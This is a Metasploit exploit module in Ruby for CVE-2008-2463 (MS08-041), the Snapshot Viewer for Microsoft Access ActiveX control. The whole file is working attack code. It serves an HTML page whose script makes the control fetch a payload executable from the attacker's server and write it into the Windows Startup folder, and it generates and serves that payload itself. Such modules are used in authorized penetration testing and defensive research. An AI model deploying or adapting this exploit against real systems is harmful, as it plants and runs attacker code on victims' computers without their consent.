Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download



##

# $Id: ms08_041_snapshotviewer.rb 10394 2010-09-20 08:06:27Z jduck $

##



##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = ExcellentRanking



    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::EXE



    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',

            'Description'    => %q{

                    This module allows remote attackers to place arbitrary files on a users file system

                via the Microsoft Office Snapshot Viewer ActiveX Control.

            },

            'License'        => MSF_LICENSE,

            'Author'         => [ 'MC' ],

            'Version'        => '$Revision: 10394 $',

            'References'     =>

                [

                    [ 'CVE', '2008-2463' ],

                    [ 'OSVDB', '46749'],

                    [ 'MSB', 'MS08-041' ],

                    [ 'BID', '30114' ],

                ],

            'Payload'        =>

                {

                    'Space'           => 2048,

                    'StackAdjustment' => -3500,

                },

            'Platform'       => 'win',

            'Targets'        =>

                [

                    [ 'Automatic', { } ],

                ],

            'DefaultTarget'  => 0,

            'DisclosureDate' => 'Jul 07 2008'))



        register_options(

            [

                OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),

            ], self.class)

    end



    def autofilter

        false

    end



    def check_dependencies

        use_zlib

    end



    def on_request_uri(cli, request)



        payload_url =  "http://"

        payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

        payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"



        if (request.uri.match(/payload/))

            return if ((p = regenerate_payload(cli)) == nil)

            data = generate_payload_exe({ :code => p.encoded })

            print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")

            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

            return

        end



        vname  = rand_text_alpha(rand(100) + 1)

        exe    = rand_text_alpha(rand(20) + 1)



        content = %Q|

        <html>

        <head>

            <script>

            try {

                var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');

                #{vname}.SnapshotPath = "#{payload_url}";

                #{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";

                #{vname}.PrintSnapshot();

            } catch( e ) { window.location = 'about:blank' ; }

            </script>

        </head>

        </html>

                |



        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")



        send_response_html(cli, content)



        handler(cli)



    end



end